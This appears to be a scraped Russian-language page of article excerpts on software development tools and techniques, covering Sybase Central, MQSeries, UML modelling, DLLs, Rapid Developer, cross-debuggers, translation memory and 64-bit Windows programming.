Средства разработки приложений

Sybase Central - графическое средство управления для продуктов Sybase. Он реализует стратегию Sybase управления всеми серверами и ПО промежуточного уровня предприятия с единственной консоли. Sybase Central работает в операционной среде Microsoft Windows 95 и Microsoft NT. Он поддерживает соединения и обеспечивает управление продуктами Sybase на любой платформе, на которой поддерживается работа с продуктами Sybase.
Sybase Central для Adaptive Server Enterprise(известного как Adaptive Server Enterprise Plug-in) входит в пакет with Adaptive Server Enterprise (ASE) версия 11.5 и может быть устанавлен с любого CD из поставки ASE . (Для платформы HP-UX настольные приложения находятся на отдельном CD.)
Используя Sybase Central и ASE Plug-in, администраторы систем и баз данных могут с единственной консоли полностью устанавливать и контролировать в сети Adaptive Server Enterprise версии 11.5 и SQL Server 11.0.x независимо от платформ, на которых они работают.
Управление этими серверами с Sybase Central не отменяет как использование интерфейса администратора isql для ASE и SQL Server, так и использование скриптов. Интерфейс командной строки isql и графический интерфейс Sybase Central выполняют одни и те же функции, так что их использование равнозначно. Однако интерфейс Sybase Central более интуитивен и легок для освоения.
Ниже приведены некоторые преимущества, получаемые от использования Sybase Central для управления ASE и SQL Server 11.0.x:
Визуальное представление объектов. В основном окне Sybase Central раскрывающееся дерево объектов показывает каждую базу данных, вход (login), устройство, удаленный сервер, именованый кеш (буфер), группу механизмов (engine), выполняемый класс, ролевые функции и текущий процесс для каждого сервера ASE. Для каждой базы данных раскрывается список объектов, таких как, например, таблицы, хранимые процедуры, виды, правила и пользователи.
Простой интерфейс "укажи и нажми". Кнопки, выпадающие списки, диалоговые окна с закладками и визарды обеспечивают удобный и быстрый способ просмотра и корректировки объектов в системе и базых данных.


Borland C++ Builder - выпущенное недавно компанией Borland средство быстрой разработки приложений, позволяющее создавать приложения на языке C++, используя при этом среду разработки и библиотеку компонентов Delphi. В настоящей статье рассматривается среда разработки C++ Builder и основные приемы, применяемые при проектировании пользовательского интерфейса.

ActiveInsight - Создание компонентов для повторного использования.

Только Delphi 3 позволяет разработчикам легко создавать высокопроизводительные ActiveX-компоненты, не требующие отдельных runtime-файлов. С Delphi 3 пользователи могут путем визуального проектирования создавать формы и управляющие элементы ActiveX из шаблона, или превратить любой существующий компонент библиотеки визуальных компонентов Delphi или Borland C++Builder в ActiveX. Корпорации теперь могут использовать Delphi 3 для быстрого создания ActiveX, которые можно использовать в всех средствах разработки приложений, включая C++, Java, Visual Basic, Microsoft Office, PowerBuilder и Borland IntraBuilder.

Администрирование MQSeries

Распределенная гетерогенная система, такая как MQSeries, требует особенного внимания к вопросам удаленного администрирования. MQSeries предоставляет ряд интерфейсов и достаточное количество утилит для администрирования и конфигурации, включая администрирование очередей, каналов сообщений, безопасности. Для этих целей используются команды двух типов. Административные текстовые команды MQSC предназначены для работы администратора в режиме командной строки или при использовании текстовых файлов-сценариев. При этом утилита командной строки RUNMQSC преобразует текстовые команды в вызовы API, а затем возвращает пользователю ответные сообщения (рис.3). Рис. 3. Администрирование MQSeries Другая возможность предлагает использование API-интерфейса PCF (Programmable Command Format) для вызова административных функций непосредственно из прикладных программ. Для удаленного администрирования менеджеров очередей MQSeries использует специальные командные очереди приема/передачи административных команд-сообщений и специальные мониторы (command servers) для их исполнения. Графические средства администрирования входят в MQSeries как компоненты MQSeries Explorer и MQSeries Services Snapin, а также предлагаются в ряде отдельных продуктов и модулей из общих пакетов управления системами: TME 10 Module for MQSeries (Tivoli), Command Center for MQSeries (Candle Corp.), Command MQ (Bool&Babbage), Patrol KnowledgeModule for MQSeries (BMC).

Адресация и маршрутизация сообщений

Пользуясь информацией из заголовка каждого сообщения (имя менеджера очередей для идентификации узла MQSeries и имя очереди для идентификации самой очереди) система MQSeries отправляет сообщения различным адресатам. В стандартной двойной структуре имен, лежащей в основе системы маршрутизации MQSeries, предусмотрены дополнительные правила, расширяющие возможности идентификации очередей. Кроме прямого использования полных имен очередей реализован алгоритм разрешения имен, позволяющий указывать адресатов при помощи псевдонимов и определений удаленных очередей. Это дает возможность привязывать имена очередей, указанные разработчиками приложений в процессе кодирования программы к реальной системе очередей. В частности, при изменении физической конфигурации системы администратор сети с помощью административных команд может переопределить маршрутизацию сообщения к новому местоположению очереди без изменений кода приложения. Для организации многошаговой маршрутизации сообщений через произвольное число промежуточных менеджеров очередей используется механизм разрешения имен. Это делается, например, при помощи определений транспортных очередей с именами, совпадающими с наименованиями удаленного менеджера очередей. Сообщения, адресованные удаленному менеджеру, автоматически пересылаются через соответствующую транспортную очередь. В заголовке сообщения содержится информация о том, в какую очередь должен быть отправлен ответ на это сообщение. Имя очереди ответа используется для организации связи типа запрос-ответ, а также для отправки многочисленных сообщений-отчетов, информирующих о системных событиях, например, о доставке сообщения в очередь назначения или о выборке этого сообщения приложением-адресатом. У менеджера очередей имеется специальная очередь DLQ (Dead-Letter Queue) - место для хранения недоставленных сообщений. Чаще всего сообщения появляются в DLQ, когда очереди, указанной в заголовке сообщения, не существует или когда очередь назначения оказывается полной. Сообщения из очереди DLQ позволяют разгрузить транспортные очереди и каналы от ошибочных сообщений, при этом в тело сообщения вставляется специальный информационный подзаголовок, позволяющий, если сообщение не доставлено, анализировать причины случившегося. MQSeries обладает механизмом задания правил для автоматической обработки недоставленных сообщений.

Алгоритм поведения и автоматная модель стрелка

На первый окрик: "Кто идет?" - он стал шутить,
На выстрел в воздух закричал: "Кончай дурить!"
Я чуть замешкался и, не вступая в спор,
Чинарик выплюнул - и выстрелил в упор.
В. Высоцкий В задаче Майхилла необходимо определить, как нужно действовать стрелкам, построенным в шеренгу, чтобы одновременно открыть стрельбу, если команда "Огонь!" (или "Пли!") подается крайнему в шеренге, а обмен информацией разрешается только между соседями. Из известных решений данной задачи своей простотой и, главное, "автоматным" подходом привлекает приведенное в работе [2]. Оно заключается в том, что каждый стрелок должен руководствоваться следующим набором указаний. 1. Если ты левофланговый и получил приказ "Шеренга, пли!", то запомни число 1 - свой порядковый номер - и ровно через секунду сообщи его соседу справа. 2. Если ты неправофланговый и сосед слева сообщил тебе число V, запомни число V+1 - свой порядковый номер - и ровно через секунду сообщи его соседу справа. 3. Если ты правофланговый и сосед слева сообщил тебе число n-1, то ровно через секунду ответь ему: "Готов!" и приступай к обратному счету в уме: n, n-1, n-2, ..., отсчитывая по одному числу в секунду. 4. Если ты не правофланговый и сосед справа доложил тебе: "Готов!", то ровно через секунду приступай к обратному счету в уме: V, V-1, V-2, ..., где V - твой порядковый номер, отсчитывая по одному числу в секунду. При этом, если V>1, т.е. если ты не левофланговый, то ровно через секунду после получения сообщения от соседа справа доложи: "Готов!" соседу слева. 5. Досчитав до нуля, стреляй! Автоматная модель поведения стрелка Аналогичные указания даются, когда приказ получен правофланговым. Несложно показать, что решение не зависит от выбранного временного интервала. Более того, этот интервал может быть и "плавающим" - лишь бы он был одинаковым для всех стрелков на каждом шаге счета. Благодаря данному свойству алгоритм легко реализовать в рамках сетевой автоматной модели. На рисунке показан КА, моделирующий поведение стрелка. Стрeлки соответствуют синхронизирующей информации, которая поступает к стрелку от его соседей слева и справа. Предикаты и действия автомата можно условно описать следующим образом: // Предикаты x1 Состояние соседа слева "Огонь!"? // Команда "Огонь"; x2 Состояние соседа справа "Готов!"? x3 Свой номер не равен нулю? // Действия y1 Установить свой номер: взять номер соседа слева и увеличить на 1 y2 Уменьшить свой номер на 1 y3 Произвести выстрел Кстати, эти строки в дальнейшем можно превратить в комментарии к операторам "автоматной программы".

Анализ предметной области – концептуальная модель

Прежде чем приступить к реализации какого либо проекта, руководитель проекта должен хорошо представлять предметную область поставленной перед ним задачи. Настоятельно рекомендую начать с построения диаграмм вариантов использования системы (use case diagram). Пример такой диаграммы изображен на рис.1. Данная диаграмма была позаимствована мной из некоммерческого проекта “Агент Интеллектуальных Услуг”, проект в котором я принимал участие. Анализ предметной области – концептуальная модель Рис.1. На рис.1 изображены укрупненные прецеденты, которые можно будет в дальнейшем детализировать. Человечками обозначаются актеры, которые взаимодействуют с разрабатываемой системой и выполняют определенные роли. Овалы показывают виды этих взаимодействий или прецедентов использования системы. Актерами могут быть как пользователи, так и части самой системы, которые функционируют самостоятельно. Более подробную нотацию данного вида диаграммы можно найти в любой литературе по UML. После того как руководитель проекта осознал, кто и как будет пользоваться будущей системой, необходимо переходить к разработке концептуальной (понятийной) модели системы или, другими словами, составить словарь понятий предметной области, с которыми работает разрабатываемая система и установить связи между понятиями. Для этой цели я предлагаю построить диаграмму классов (class diagram). Пример такой диаграммы изображен на рис.2. Анализ предметной области – концептуальная модель Рис. 2 Данную диаграмму я позаимствовал из того же проекта. Понятия из предметной области необходимо объединить в классы и показать между ними связи. Связи должны иметь названия и кратности. Например, потребитель может послать ноль или много сообщений, но каждое сообщение должно иметь одного потребителя, это видно из связи между классами Consumer и Message. Более подробную нотацию данного вида диаграммы также можно найти в литературе по UML. После построения этих диаграмм руководитель проекта получит, во-первых, функционально ориентированную картину системы, а во-вторых, объектно-ориентированную. Первое необходимо, для того чтобы понять, что будет происходить внутри и снаружи системы, а второе для того, что бы получить основу для будущей объектно-ориентированной системы. Настоятельно требуйте это от своих руководителей проектов. С одной стороны, это заставит их лучше разобраться с задачей, которую они решают, а с другой, вы получите контрольные точки в виде диаграммы использования, по которым сможете отслеживать состояние проекта, спрашивая с руководителя проекта, какие прецеденты использования уже реализованы.

Application

Средства разработки приложений

  • А.М. Вендров , , # 4/2004

  • Гусев А.В., Дмитриев А.Г., Тихонов С.И., Вычислительный центр ОАО "Кондопога", КНМЦ СЗО РАМН

  • Сергей Кривошеев,

  • Михаил Продан,

  • Алексей Махоткин,
    Вячеслав Яковенко,


  • (группа компаний АйТи)

  • (группа компаний АйТи)


  • 21.08.2002

  • Дарвин Саной
    15.12.2002

  • Reginald Stadlbauer & Monica Vittring (Перевод: Andi Peredri)

  • Matthias Kalle Dalheimer (Перевод: Andi Peredri)

  • Алексей Доля,


  • Андрей Колесов,

  • Фрэнк Хэйес, #24/99

  • Наталья Дубова, #03/99

  • Сервер компании

  • Николай Смирнов, IBM EE/A

  • Наталия Елманова, Компьютер-Пресс, 1998, N 1.

    Аргументы в пользу использования DLL

    Итак, прежде чем перейти к обсуждению структуры динамических библиотек, необходимо поговорить о тех преимуществах, которые предоставляет их использование разработчику. Во-первых, это повторное использование кода. Думаю, нет необходимости пояснять удобство использования один раз разработанных процедур и функций при создании нескольких приложений? Кроме того, в дальнейшем вы сможете продать некоторые из своих библиотек, не раскрывая исходных кодов. А чем тогда это лучше компонентов, спросите вы? А тем, что функции, хранящиеся в библиотеке, могут быть вызваны на выполнение из приложений, разработанных не на Object Pascal, а, например, с использованием C++Builder, Visual Basic, Visual C++ и т.д. Такой подход накладывает некоторые ограничения на принцип разработки библиотеки, но это возможно. Звучит заманчиво? Мне кажется, даже очень. Но это еще не все. Во-вторых, использование DLL предоставляет возможность использования один загруженного в оперативную память кода несколькими приложениями. К примеру, если вы разрабатываете программное обеспечение для большого предприятия, то вполне возможно, что в различных созданных вами приложениях будут использоваться одни и те же функции, процедуры, формы и другие ресурсы. Естественно, что при выделении общих для нескольких приложений данных в DLL может привести к экономии как дискового пространства, так и оперативной памяти, иногда очень даже существенному. В-третьих, следует поговорить вот о чем. Всего несколько лет назад при разработке программного обеспечения вы могли совершенно не волноваться относительно распространения ваших продуктов где-либо, кроме вашей страны. Я хочу сказать, что проблема перевода на другие языки текста на элементах управления (пункты меню, кнопки, выпадающие списки, подсказки), сообщений об ошибках и т.д. не стояла так остро, как сейчас. Однако, с повсеместным внедрением интернета у вас появилась возможность быстрой передачи готовых программных продуктов практически в любую точку мира. И что будут делать с вашей программой где-нибудь в Объединенных Арабских Эмиратах, если кроме как по-русски, она с пользователем общаться не умеет? Вы сами можете оценить этот эффект, если хоть раз на экране вашего компьютера вместо с детства знакомого русского языка появляется "арабская вязь" (например, из-за "сбоя" шрифтов). Итак, уже сейчас вы должны планировать возможность распространения ваших приложений в других странах (если, конечно, у вас есть желание получить как можно больше прибыли). Соответственно, встает вопрос быстрого перевода интерфейса вашей программы на другие языки. Одним из путей может являться создание ресурсов интерфейсов внутри DLL. К примеру, можно создать одно приложение, которое в зависимости от версии динамической библиотеки будет выводить сообщения на различных языках. Естественно, выше приведены лишь некоторые из аргументов в пользу использования динамически подключаемых библиотек при разработке приложений. Итак, надеюсь, вы все еще заинтересованы в том, чтобы узнать, как, собственно, DLL создаются. Если так, то вперед.

    Архитектор баз данных

    Моделирование баз данных осуществляется следующим образом. Создаются классы типа "Persistent class". Выполняется их разработка, определяются их атрибуты. Затем на основе указанных классов в полуавтоматическом режиме создается физическая база данных. При этом класс типа "Persistent class" становится таблицей, а его атрибуты - полями этой таблицы. Таким образом, физическая модель базы данных однозначно соответствует логической модели классов, что опять же позволяет ускорить процесс моделирования базы данных и упростить взаимодействие с ней в разрабатываемой информационной системе.
    Архитектор баз данных
    Рис. 9.
    Rapid Developer дает возможность либо создать новую физическую базу данных, либо изменить существующую. В проекте можно определить неограниченное количество источников данных.
    При тестировании разрабатываемой информационной системы актуальной является проблема генерации тестовых данных. Rapid Developer позволяет решить и эту проблему, когда тестовые данные хранятся прямо в проекте, привязанные к соответствующим классам типа "Persistent class". При этом данные в проект могут быть импортированы либо из существующей базы данных вместе с импортом ее структуры, либо введены вручную прямо в Rapid Developer.
    СУБД, поддерживаемые Rapid Developer:
  • IBM DB2 UDB v6.0, 7.2, 8
  • IBM DB2 eServer zSeries (S/390) v6, 7, 8
  • IBM DB2 iSeries V4R5, V5R1 (AS/400)
  • IBM IMS
  • IBM VSAM
  • Microsoft SQL Server v7.x, 2000
  • Oracle v7.3, 8/8i, 9i
  • Sybase 11
  • более 60 других источников данных (через iWay Adapters).



  • Архитектор классов

    Архитектор классов позволяет визуально сформировать пакеты классов, создать новые классы или импортировать существующие из других источников, выполнить проектирование каждого отдельного класса. Визуальное моделирование классов может быть выполнено с применением нотации UML (Unified Modeling Language).
    Классы, создаваемые в Rapid Developer имеют один из следующих 4 типов
  • Классы, которые являются отображением таблиц баз данных.
  • Обычные классы, которые не являются отображением таблиц баз данных.
  • Абстрактные классы (для реализации требуемой функциональности с использованием механизма наследования).
  • Пользовательские типы данных (классы, позволяющие определить необходимые простые типы).

  • С помощью Архитектора классов визуально проектируются отношения различных типов между классами, такие как агрегация, наследование и т.д.
    Архитектор классов
    Рис. 6.
    В целом, моделирование архитектуры классов подобно аналогичной работе в Rational Rose. Есть похожая панель инструментов с иконками самих классов и отношений между ними. Эти иконки перетаскиваются с помощью мыши на диаграмму классов и, таким образом, создается архитектура классов разрабатываемой информационной системы.
    Как и в Rose, мышью на диаграмме можно изменять размеры классов и перемещать их в пределах этой диаграммы. Пункт контекстного меню "Class Properties", вызванного над любым классом, позволяет определить его дополнительные свойства (атрибуты, методы и др.). Аналогичный пункт контекстного меню "Display Properties" позволяет изменить атрибуты отображения класса на диаграмме (следует ли автоматически подгонять размеры класса, показывать ли его атрибуты, методы и т.д.). Пункт главного меню "Draw/ Auto Arrange" позволяет быстро и оптимально расположить классы на диаграмме без необходимости долго таскать их вручную по всему экрану.


    Архитектор логики

    Данный архитектор позволяет проектировать и реализовать логическую модель разрабатываемой информационной системы.
    С помощью него можно вносить изменения в код системы напрямую. Удобный редактор Java-кода с приятной подсветкой синтаксиса предоставляет полнофункциональные возможности по кодированию сложных систем.
    Архитектор логики
    Рис. 11.
    В левом фрейме доступны несколько вкладок. Вкладка "Classes" отображает список пакетов и их классов, а для классов - список методов. Двойной клик на любом методе выводит его код в правом фрейме.
    Здесь же можно установить или отредактировать бизнес-правила для атрибутов классов. Разрабатываемая система может быть интегрирована в структуру существующих информационных систем с помощью проектирования набора сообщений для обмена информацией. Rapid Developer позволяет выполнить проектирование сообщений (вкладка "Messages"). Можно определить сообщения, как в формате XML, так и в пользовательских форматах. Поддерживается большое разнообразие существующих стандартов сообщений:
  • IBM WebSphere MQ (MQ Series)
  • JMS providers
  • TIBCO
  • MSMQ
  • сообщения XML со своими словарями DTD
  • простые текстовые сообщения
  • и др.

  • Кроме того, Архитектор логики позволяет выполнить проектирование отдельных компонентов (вкладка "Components") и использовать их при разработке в текущем или будущих проектах.
    Rapid Developer поддерживает возможности выявления и быстрой интеграции с существующими сервисами Web. При этом компоненты, созданные с помощью Rapid Developer, легко могут быть также представлены в виде Web-сервисов. А учитывая, что при использовании Web-сервисов разработчик изолирован от необходимости разбираться в тонкостях протоколов SOAP и API-интерфейсах, то это значительно ускоряет процесс разработки коммерческих информационных систем.


    Архитектор приложения

    После создания нового проекта в Rapid Developer автоматически запускается Архитектор приложения.
    Архитектор приложения
    Рис. 4.
    В левом фрейме выводится дерево иерархически упорядоченных объектов проекта, разбитых на 3 основные группы. Первую группу составляют списки Java-пакетов и входящих в них Java-классов.
    Вторую группу составляет список сайтов разрабатываемой информационной системы (понятно, что для сложной информационной системы можно определить, например, главный сайт компании, рабочее пространство авторизованного покупателя, панель администратора, WAP-сайт и др.).
    И, наконец, в третьей группе представлен список моделей распределения элементов системы по уровням разрабатываемой системы. Таких моделей может быть создано сколь угодно много. Для каждой модели может быть определен собственный сервер приложений, свои источники данных, свои способы деления артефактов по уровням или иным категориям и т.д.
    В правом фрейме открываются окна со свойствами объектов, выделенных на дереве объектов в левом фрейме.
    Rapid Developer позволяет проектировать и автоматически развертывать информационные системы:
  • Apache Tomcat v4.x
  • BEA WebLogic 5.1, 6.1, 7.0
  • IBM WebSphere 3.5, 4.0, 5.0
  • Oracle 9iAS R1, R2
  • Generic J2EE
  • Microsoft MTS

  • Остальные сервера приложений поддерживаются, но развертывание системы придется осуществлять вручную.


    Архитектор распределения артефактов системы

    Данный архитектор позволяет распределить артефакты, созданные с помощью Rapid Developer, по различным слоям системы. Можно поделить указанные артефакты на архивы по функциональному признаку (например, артефакты для выполнения заказа товара, артефакты для выполнения покупки и т.д.), по уровням приложения (презентационный уровень, уровень бизнес-логики, уровень базы данных) или каким-либо иным образом, который имеет смысл для конкретной информационной системы.
    Распределение артефактов выполняется их простым перетаскиванием с помощью мыши (Drag & Drop механизм).
    Архитектор распределения артефактов системы
    Рис. 10.


    Архитектор сайта

    Архитектор сайта предоставляет возможности визуального проектирования структуры Web-сайта разрабатываемой информационной системы. При этом определяются наборы отображаемых Web-страниц и связи между ними (например, с какой страницы на какую можно перейти по ссылке).
    Архитектор сайта
    Рис. 7. Архитектор сайта.
    Как и в случае диаграммы классов, Архитектор сайта позволяет разработчику мышью перемещать страницы на диаграмме, добиваясь наиболее удобного восприятия его структуры.


    Архитектор Web-страниц

    После проектирования структуры сайта с помощью упомянутого в предыдущем разделе Архитектора осуществляется запуск Архитектора Web-страниц. Указанный Архитектор позволяет определить внешний вид каждой Web-страницы разрабатываемой информационной системы, определить отображаемые на ней элементы графического интерфейса пользователя. Все проектируется опять же визуально в соответствии с известным метод WYSIWYG (What You See Is What You Get).
    Архитектор Web-страниц
    Рис. 8.
    Архитектор Web-страниц построен по классическим принципам технологии RAD (Rapid Application Development) для средств визуальной разработки информационных систем. Справа находится список доступных элементов интерфейса, которые могут быть выделены и перенесены мышью на поверхность текущей Web-страницы. С помощью мыши также происходит настройка размеров этих элементов и их размещение на странице.
    Как и многие RAD средства, Rapid Developer позволяет построить информационную систему, не написав ни единой строчки кода. Разумеется, это будет крайне простая система (например, система, реализующая просмотр информации в некоторой базе данных). В реальном сложном проекте все равно приходится какой-то код прописывать руками. Но Rapid Developer позволяет свести эту работу к минимуму, избегая кропотливого кодирования интерфейса. Разработчик может в большей степени сосредоточиться на более творческих процессах (например, на оттачивании бизнес-логики системы).
    HTML страницы, создаваемые в Rapid Developer, совместимы либо с Microsoft Internet Explorer v4.0 и выше, либо с Netscape Navigator 3.0 и выше, либо с их клонами. WML/WAP страницы совместимы с широким кругом устройств с ограниченными функциональными возможностями и броузеров, эммулирующих работу последних.


    Архитектура средств активной отладки

    В общем случае кросс-отладчик состоит из 2 основных модулей: менеджера на инструментальной платформе и агента отладки на целевой стороне. Менеджер служит для обеспечения пользовательского интерфейса, то есть для приема команд, их обработки и посылки на целевую сторону, а также для приема, обработки и выдачи информации от агента, который осуществляет непосредственную работу с отлаживаемой системой. Возможности агента отладки зависят от особенностей архитектуры системы, а именно:
  • имеет ли система встроенные средства отладки (в этом случае агенту достаточно осуществлять вызов соответствующих функций и пересылать результаты менеджеру);
  • какие она предоставляет возможности по созданию обработчиков (для контроля за происходящими событиями агенту может потребоваться собственный обработчик);
  • вызовы каких функций дозволено делать агенту. Кроме того, агент отладки должен поддерживать возможность приема и передачи информации от псевдо-агентов, встроенных в код отлаживаемых программ. Агент отладки может состоять из нескольких модулей, например, один осуществляет сбор данных, другой производит фильтрацию, третий осуществляет пересылку данных менеджеру. Общая структура активного кросс-отладчика приведена на рис.2.
    Рис. 2. Активный кросс-отладчик Рассмотрим протокол "менеджер-агент" на примере отладчика VxGDB (Wind River Systems, целевая система - VxWorks). Этот протокол базируется на RPC (Remote Procedure Call). Запросы менеджера можно классифицировать следующим образом:
  • Запросы работы с модулями
    Сюда относятся запрос на загрузку модуля, запрос на получении информации о загрузочном файле и запрос на получение информации о символе.
  • Запросы работы с задачами
    Это запросы на запуск, остановку и удаление задачи, на присоединение и отсоединение от запущенной задачи, на установку и удаление точки прерывания, на продолжение выполнения остановленной задачи.
  • ptrace-запросы
    Агент отладки эмулирует функцию ptrace и передает ей соответствующие запросы на чтение и запись.

    Архитектура средств мониторинга

    Архитектура средств мониторинга в общем случае совпадает с архитектурой средств активной отладки, с той лишь разницей, что агенту отладки запрещено останавливать отлаживаемую задачу и модифицировать ее данные. Вообще, основное требование к средствам мониторинга - сбор данных с минимальным вмешательством в работу целевой системы. Для этого агенту отладки нужно как можно реже обращаться к менеджеру, то есть хранить полученные данные в некотором буфере и пересылать их по мере заполнения буфера. Кроме того, при пересылке данных можно производить их фильтрацию или сортировку в соответствие с некоторым критерием значимости. При мониторинге агенту отладки не нужно поддерживать прямой связи с псевдо-агентами, так как псевдо-агенты могут посылать собранные данные в буфер, где они будут накапливаться вместе с остальными данными.
    Рис. 4. Архитектура отладчика, осуществляющего мониторинг

    Архитектура Sybase Central

    Sybase Central является основным средством системного управления. Отдельные продукты Sybase имеют свой собственный интерфейс управления, который встраивается (plug in) в Sybase Central. Подобная стратегия обеспечивает общий интерфейс для всех продуктов при сохранении функциональных особенностей каждого.
    Интерфейс Sybase Central составляют меню, панель инструментов, таблицы свойств с закладками и две панели наподобие Windows 95/NT Explorer. Левая панель представляет собой иерархический список, верхний уровень которого составляют plug-in приложения. При раскрытии plug-in отображаются все его установленные составляющие. Дальнейшее раскрытие показывает упрвляемые объекты внутри составляющих каждого plug-in приложения. Каждое plug-in приложение определяет иерархию объектов, имеет собственные визарды, диалоги и таблицы свойств, соответствующие данному продукту.
    Один исполняемый файл запускает Sybase Central и подгружает все зарегистрированные в данный момент plug-in приложения. В любое время администратор может зарегистрировать или удалить из системы plug-in приложения. Помимо этого администратор может установить новые plug-in приложения без разрушения старых.
    В настоящий момент в качестве plug-in приложений могут использоваться:
  • Adaptive Server Enterprise (and SQL Server release 11.0.x)
  • Adaptive Server Anywhere
  • Sybase IQ
  • DbQ
  • Net Impact Dynamo
  • В дальнейшем Sybase предполагает расширить этот список с тем, чтобы всеми продуктами можно было бы управлять с единой консоли Sybase Central.

    Art_1.shtml

    Распределенное программирование С. С. Гайсарян, Институт системного программирования РАН
    Развитие современной вычислительной аппаратуры характеризуется четко выраженной тенденцией распространения многопроцессорных компьютеров и вычислительных сетей как локальных, так и глобальных. Уже недалеко то время, когда даже персональные компьютеры будут иметь несколько процессоров а самые мощные из них могут даже иметь сетевую архитектуру. Поэтому в области программного обеспечения вызывают все больший интерес языки и другие инструментальные средства, поддерживающие разработку распределенных программ. При этом можно выделить три уровня распределенного программирования:
  • распределенное программирование в малом;
  • распределенное программирование в большом;
  • распределенные прикладные программные системы. Распределенное программирование в малом связано с параллельным выполнением операторов одной программы (например, параллельным выполнением циклов). Технология разработки распределенных программ связана с реализацией коммуникационных пакетов, а также языков программирования и библиотек, облегчающих использование таких пакетов. Примерами коммуникационных пакетов могут служить такие широко используемые пакеты как PVM и MPI. Из языков, опирающихся на эти пакеты следует выделить прежде всего HPF/2 (High Performance Fortran, version 2) и язык, разработанный в ИСП РАН, - mpC. Среди многочисленных библиотек наиболее интересны различные алгебраические библиотеки (например, ScalaPack), а также библиотеки, вводящие параллельные конструкции в стандартные языки программирования (одна из таких библиотек DPJ - Data Parallel Java - разрабатывается в ИСП РАН). Распределенное программирование в большом состоит в разработке распределенных программных систем. В последнее время широко используются объектно-ориентированные технологии разработки таких систем. Наиболее известные такие технологии связаны с системой стандартов OMG (стандарт CORBA). Распределенные прикладные программные системы предназначены для поддержки коллективных разработок и других видов коллективной деятельности в самых различных областях.
    В таких системах используются новейшие достижения в области вычислительной техники и коммуникаций. Примером такой системы может служить система POLITeam (GMD-FIT, Германия), основной целью которой является обеспечение оперативной работы правительства Германии, расположенного в двух городах - Берлине и Бонне, в настоящее время имеются в наличии как аппаратные, так и программные средства, позволившие реализовать и успешно эксплуатировать такую систему. С проектом POLITeam связано одно из ведущих научных направлений GMD - "Системы поддержки совместных разработок на основе коммуникации" (Communication and Cooperation Systems). Это одно из интенсивно развивающихся научно-исследовательских и прикладных направлений современной информатики. Широко известны такие системы для организации совместной работы как система Totem, разработанная в Университете г. Санта-Барбара, Калифорния, США, система Transis, разработанная в Университете г. Иерусалима, Израиль, система Horus Корнельского Университета (США) и многие другие. При разработке и реализации перечисленных систем применялись различные подходы, что позволяет разработать их аналитический обзор с целью выбора наиболее дешевого и приемлемого подхода. Это относится и к инструментальным программным средствам, используемым для реализации систем поддержки совместных разработок. Одним из широко известных инструментальных средств, используемых при разработке и реализации таких систем, является пакет Rampart Toolkit, разработанный в AT&T Bell Laboratories, Нью-Джерси, США. Для реализации системы поддержки совместных разработок в рамках проекта POLITeam использовалась другая не менее известная инструментальная система LinkWorks фирмы Digital Equipment Corporation, США.

    Аспекты использования памяти переводов

    Сфера применимости Как следует из вышеизложенного, основой функционирования любой системы памяти переводов являются ранее переведенные тексты. Множество этих текстов постоянно пополняется новыми переводами, вследствие чего, процент автоматически переводимых сегментов, постепенно растет. Это означает, что для наиболее эффективного использования памяти переводов, все тексты должны содержать достаточное количество похожих фраз. Такое положение вещей имеет место в документации на различного рода продукты. Это обусловлено двумя факторами. Во-первых, документацию принято составлять максимально простым языком, лаконично и в строгих терминах. Во-вторых, с появлением новых версий и модификаций поставляемого потребителям продукта содержание документации меняется лишь в незначительной степени. Память переводов, в подобных случаях, избавляет переводчика от необходимости по несколько раз переводить идентичные фрагменты текста, входящие в разные документы. В то же время, использование памяти переводов требует от переводчика специальной подготовки, а также наличия соответствующего аппаратного и программного обеспечения. Другим негативным фактором является то, что для обеспечения ожидаемого эффекта все переводы должны быть сделаны в одной и той же среде, либо в средах, совместимых по формату представления данных. Наконец, полезный эффект памяти переводов проявляется с заметной отсрочкой во времени, требуя поначалу дополнительных капиталовложений. Резюмируя вышесказанное, можно выделить три условия применимости рассматриваемой технологии:
  • большой объем перевода;
  • однотипность переводимых текстов;
  • готовность к отсроченному возврату капиталовложений.

    Автоматический поиск терминологии

    Данный процесс может быть сравнен с машинным переводом на уровне отдельных терминов. Суть его заключается в том, что в процессе работы над текстом переводчик имеет возможность видеть варианты перевода для каждого термина, и быстро вставлять нужный перевод в текст на целевом языке, не рискуя допустить опечатку.

    Азбука 64-разрядного программирования

    Для работы с 64-разрядным кодом понадобятся компилятор, линкер и несколько подключаемых библиотек. Все это есть в последних дистрибутивах SDK и DDK. Прежде всего, необходимо рассмотреть макросы и директивы компилятора, предназначенные для 64-разрядного кода:
  • _WIN64 - 64-разрядная платформа;
  • _WIN32 - 32-разрядная платформа (для совместимости с 32-разрядной платформой);
  • _WIN16 - 16-разрядная платформа. Также компилятор имеет встроенные предопределенные макросы, специфичные для различных архитектур процессоров:
  • _M_IA64 - 64-разрядная архитектура Intel;
  • _M_IX86 - 32-разрядная архитектура Intel;
  • _M_ALPHA_64 - 64-разрядная архитектура Alpha;
  • _M_ALPHA32 - 32-разрядная архитектура Alpha;
  • _M_ALPHA - архитектура Alpha, либо 32-разрядная, либо 64-разрядная. Следует с большой осторожностью пользоваться макросами, определяющими архитектуру процессора, так как на процессоре другой архитектуры приложение может не работать вообще. Напротив, макросы, определяющие платформу, надо использовать как можно чаще. Теперь есть возможность создавать приложения, работающие и на 32-, и на 64-разрядной платформах. Здесь есть, однако, немало подводных камней. Следует быть очень внимательным - например, следующий код был вполне пригоден для приложений, но не для 64-разрядной платформы: #ifdef _WIN32 // Win32 код ... #else // А здесь неясно, какой код следует далее: 64- или 16-разрядный... ... #endif И этот код не является корректным: #ifdef _WIN16 // Win16 код ... #else // То же самое: 32- или 64-разрядный код? ... #endif Чтобы исправить этот код, нужно после #else добавить макросы _WIN32 или _WIN64. Просто придется привыкнуть к тому, что теперь код бывает трех (а не двух, как раньше) , поэтому использование директивы #else в привычных конструкциях приведет к неоднозначности (хотя 16-разрядных приложений становится все меньше и меньше, поддержка этой платформы в современных компиляторах остается). Теперь рассмотрим новые типы данных. Их можно условно разделить на три группы (см. Таблицу 1):
  • целочисленные типы явного представления (fixed-precision integer types);
  • целочисленные типы, представленные указателями (pointer-precision integer types);
  • типы специальных указателей (specific-precision pointer types). Описания этих типов находятся в файле basetsd.h (входящем в состав DDK/SDK) и приведены в Таблице 1. Теперь рассмотрим особенности новых типов данных.
